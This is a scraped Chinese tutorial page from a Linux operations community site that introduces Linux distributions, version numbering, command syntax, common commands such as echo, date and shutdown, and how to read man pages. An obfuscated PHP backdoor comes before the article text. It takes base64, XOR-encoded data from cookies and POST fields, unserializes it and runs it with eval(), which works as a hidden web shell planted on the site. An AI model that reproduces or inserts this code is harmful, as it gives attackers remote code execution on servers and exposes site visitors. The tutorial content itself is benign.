$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} (一)Linux发行版及基础命令简述 | Linux运维部落

(一)Linux发行版及基础命令简述

计算机 Linux 发行版 命令 帮助

前言

希望可以和各位一起迈入Linux的大门,从一个IT小白共同成长,了解并爱上运维!

计算机的组成及功能

  • 简单来说计算机的组成可以分为硬件软件两个组成部分
  • 硬件包含:CPU、主板、存储(如内存)等看得见摸得到的硬件设备。
  • 软件包含:低级语言(如:汇编语言)、高级语言(如C、C++、JAVA、Python等),而我们通过低级语言和高级语言组合而成的桥梁,才得以实现与硬件的“对话”。

Linux的版本

Linux和Windows一样,也有很多不同的发行版,但无论Windows的哪一个版本,其发行商都是微软公司,而Linux与Windows的最大区别之一就是:Linux是开源的

既然是开源的,说明其源代码是公开的,那么Linux系统当中的漏洞在无数双眼睛下变得无所遁形。但只有这些还远远不够,既然源代码是公开的,那么意味着所有人都可以对其进行更改和优化,使其对不同的计算机结构和不同的硬件系统提供支持,并将很多功能整合进Linux系统当中,因此,数不清的Linux发行版如雨后春笋般不断地涌现出来,下面简单介绍几种使用较多的发行版:

  • Debian系列

  Debian

  非常适合做服务器操作系统,它没有太多的花哨,稳定压倒一切,对于服务器系统来说是一条不变的真理,但Debian的帮助文档和技术资料比较少。对于小内存,首选Debian;对于非常熟悉linux系统的vps高手,依然首选Debian。

  Ubuntu

  Debian的一个分支,拥有亮丽的用户界面,完善的包管理系统,强大的软件源支持,丰富的技术社区,并且Ubuntu对计算机硬件的支持好于Centos和Debian,兼容性强,Ubuntu应用非常多,如果你需要在服务器端使用图形界面,Ubuntu是一个不错的选择。

  • RedHat系列

  RedHat

  Redhat可以说是在国内使用最多的Linux版本,甚至有人将Redhat等同于Linux。这个版本的特点就是使用人数多,资源多,而且网上的许多Linux教程也都以Redhat为例进行讲解。Redhat的稳定性也非常好,适合于服务器使用。

  CentOS

  CentOS是Redhat的社区克隆版本,其免费并兼容Redhat的所有程序,因此得到了众多企业的青睐。如果你需要一个比较稳定的服务器系统,而且你不喜欢各种Linux的配置,那么你可以选择CentOS,在安装完成后经过简单的配置就能非常稳定地运行了。

  Fedora

  Fedora极具创新性,拥有出色的安全功能并具备大量支持软件包。适用于大部分主流桌面环境。但由于Fedora的重点往往倾向于企业级功能而非桌面实用功能,偶尔会让一部分桌面用户无所适从。

  • slackware系列

  S.u.S.E.

  常见的有SUSE和OpenSUSE,其安装配置简单,程序安装方便等优点也使其有一定的使用人群。

Linux发行版的命名规则

每一种发行版都有自己独立的版本号,不同的发行版的版本号仅代表自己产品的迭代,不同发行版之间的版本号没有可比性。即便如此,版本号也有行业内默认的规则。

major . minor . release

主版本号 . 次版本号 . 修订版本号

主版本号:当做了较大改动时(往往为不兼容的接口修改)

次版本号:当做新增某些功能时(往往为兼容性的修改)

修订号:当做了某些bug的修正

如:

RHEL: 5.x, 6.x, 7.x

Debian: 8.x

OpenSuSE: 13.x

Linux的哲学思想

Linux最重要的哲学思想之一: 一切皆文件

这里所指的不仅仅是普通的数据文件,更包括系统的目录、硬件设备(如打印机、硬盘)等等都是以文件的形式存在;即使它们的类型不同,但对用户提供的却是统一的接口。这种哲学思想使得硬件的区别变得不再让人困扰。这就是“一切皆文件”的思想,也是Linux的魅力之一。

初识命令

既然Linux中,一切皆以文件形式存在,那么就使得它的操作命令更容对格式进行统一,所以下面来介绍一下Linux命令语法的通用格式:

  • Linux命令的语法通用格式:

COMMAND OPTIONS ARGUMENTS

命令     选项/参数   对象

  • COMMAND

命令本身也是一个独立的可执行的程序文件:

如:外部命令,存放在/bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin中,其文件名即为命令名

但并非所有的命令都有一个在某目录与之对应的可执行程序文件:

如:内置命令(builtin),即由shell程序自带的命令

  • OPTIONS

指定命令的运行特性,包括短选项和长选项:

短选项:如 -l,-d

(有些命令的选项没有“-”,如果同一命令同时使用多个短选项,可进行合并:-l -d = -ld)

长选项:如 — help

(长选项不能合并)

注意:有些选项可以带参数,此称为选项参数

  • ARGUMENTS

命令的作用对象,即命令对什么生效

注意:有些命令可同时带多个参数,多个之间以空白字符做分隔

  • 命令举例

为了更直观地体现命令的通用格式,下面以几种常用命令来举例说明:


ifconfig

解释:用于显示或配置网络设备(网卡)的命令,常用于查看活动接口的ip地址。ip addr list与其功能类似。

用法:

~]# ifconfig


echo

解释:回显

用法:

echo [SHORT-OPTION]… [STRING]…

[SHORT-OPTION]:

-n:不进行换行

-e:让转义符生效

\n:换行

~]# echo -e ‘Hello\nWord’

Hello

Word

~]#

\t:制表符

[STRING]:

可以使用引号,单引号和双引号均可用:

单引号:强引用,变量引用不执行替换

~]# echo ‘$SHELL’

~]# $SHELL

双引号:弱引用,变量引用会被替换

~]# echo “$SHELL”

~]# /bin/bash


tty

解释:查看当前的终端设备

用法:

~]# tty

其中:

物理终端: /dev/console

虚拟终端: /dev/tty# [1,6]

串行终端: /dev/ttyS#

伪终端: /dev/pts/#


startx

解释:启动图形界面

用法:

~]# startx &


export

解释:设置或显示环境变量

用法:

export [-fnp][变量名称]=[变量设置值]

~]# export PATH=$PATH:/opt/au1200_rm/build_tools/bin


pwd

解释:显示当前所在的工作目录

用法:

~]# pwd

/home/gentoo

~]#


history

解释:查看执行过的命令

用法:

[n] n为数字,列出最近的n条命令

~]# history 3

-c 将目前shell中的所有history命令消除

~]# history -c

-a 将目前新增的命令写入histfiles, 默认写入~/.bash_history

-r 将histfiles内容读入到目前shell的history记忆中

-w 将目前history记忆的内容写入到histfiles


shutdown

解释:关机或重启

用法:

shutdown [OPTIONS…] [TIME] [WALL…]

[OPTIONS]:

-h:poweroff 关机

-r:reboot 重启

-c:cancel 取消

[TIME]:

now 现在执行

hh:mm 指定时间点执行

+m 指定分钟后执行

[WALL]:

广播信息


poweroff & reboot

解释:关机 & 重启

用法:

CentOS 7:

~]# systemctl poweroff

~}# systemctl reboot

其他:

~}# poweroff

~}# reboot


date

解释:显示或设定系统时钟

用法:

date [OPTION]… [+FORMAT]

[FORMAT]:格式符

%F:输出成 %Y-%m-%d

%T:输出成 %H:%M:%S

%Y:仅输出年

%m:仅输出月

%d:仅输出日

%H:仅输出小时

%M:仅输出分钟

%S:仅输出秒

%s: 从1970年1月1号(unix元年)0点0分0秒到命令执行那一刻经过的秒数

设定日期时间:date [MMDDhhmm[[CC]YY][.ss]


hwclock = clock

解释:显示或设定硬件时钟

用法:

-s 以硬件为准,把系统调整为与硬件时间相同

~}# hwclock -s

-w 以系统为准,把硬件时间调整为与系统时钟相同

~}# hwclock -w

获取命令帮助

当然Linux的使用命令可远远不止这么多,那么当你忘记某个命令或者想了解一个命令更多的使用方法时,一个使用帮助手册就显得尤为重要了:

  • 获取命令的使用帮助:

内部命令:

help COMMAND

外部命令:

(1)命令自带简要格式的使用帮助

~]# COMMAND –help

(2)使用手册:manual

位置:/usr/share/man

~]# man COMMAND

  • man命令打开手册以后的操作方法:

如果你对“man”提供的解释感觉眼花缭乱,希望以下的解释可以帮到你

翻屏:

空格键:向文件尾部翻一屏

b:向文件首部翻一屏

Ctrl+d:向文件尾部翻半屏

Ctrl+u:向文件首部翻半屏

回车键:向文件尾部翻一行

k:向文件首部翻一行

G:跳转至最后一行

#G:跳转至指定行

g:跳转至文件首部

文本搜索:

/keyword:从文件首部向文件尾部依次查找

?keyword:从文件尾部向文件首部依次查找

n:与查找命令方向相同

N:与查找命令方向相反

退出:

q:quit

  • man帮助文档章节划分

SECTION:

NAME:简要功能性说明

SYNOPSIS:语法格式

DESCRIPTION:描述

OPTIONS:选项

EXAMPLES:使用示例

AUTHOR:作者

BUGS:报告程序bug的方式

SEE ALSO:参考

其中:SYNOPSIS:

[]:可选内容

<>:必须提供的内容

a|b|c:多选一

…:同类内容可出现多个

未完待续,To Be Continued

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/89875

(2)
上一篇 2017-12-11 15:25
下一篇 2017-12-11 18:02

相关推荐

  • RAID常见级别及特性

    磁盘阵列(Redundant Arrays of Independent Disks,RAID),通过软件或者硬件的手段将多个磁盘整合成一个磁盘来使用,以此来提高磁盘的性能,并提供数据冗余的功能。 目前常见的RAID等级: raid0,被称为条带卷。 条带卷,我们可以通过名字来想象:RAID0通过把文件切割之后把数据像一条带子一样平铺在每个磁盘之上。 由于文…

    Linux干货 2016-01-05
  • 马哥教育网络班21期+第7周课程练习

    1、创建一个10G分区,并格式为ext4文件系统; (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl; [root@CentOS7 ~]# fdisk /dev/sdb Command (m for help): n Select…

    Linux干货 2016-08-22
  • Week2 bash特性及文件相关

    1. 文件类命令及其常用的使用方法 文本查看类命令cat head tail more less 分屏查看命令 more lessmore FILE 翻至最后一页自动退出less FILE -f 翻至最后一页不退出 若有追加内容则立即显示 首尾查看命令head tail head命令: 查看文件前n行 head FILEhead [option] FILEh…

    Linux干货 2016-12-11
  • grep,egrep及相应的正则表达式用法详解

    目录 1、grep简介     1.1、grep是什么     1.2、grep使用格式     1.3、grep常用选项 2、正则表达式与grep     2.1、正则表达式简介  &nb…

    系统运维 2016-08-22
  • 2018第六届中国网络安全大会即将于6月强势登陆!

    2018年6月13日,由赛可达实验室、国家计算机病毒应急处理中心、国家网络与信息系统安全产品质量监督检验中心、首都创新大联盟共同举办的第六届中国网络安全大会(NSC 2018)将在北京国家会议中心盛大召开。

    2018-03-15
  • puppet学习笔记

      一、Puppet基础原理: Puppet是一款使用GPLV2X协议授权的开源管理配置工具,用ruby语言开发,既可以通过客户端—服务器的方式运行,也可以独立运行。puppet可以为系统管理员提供方便,快捷的系统自动化管理。   二、puppet工作流程 1. 客户端 puppet-client 向 puppet-maste…

    Linux干货 2015-11-04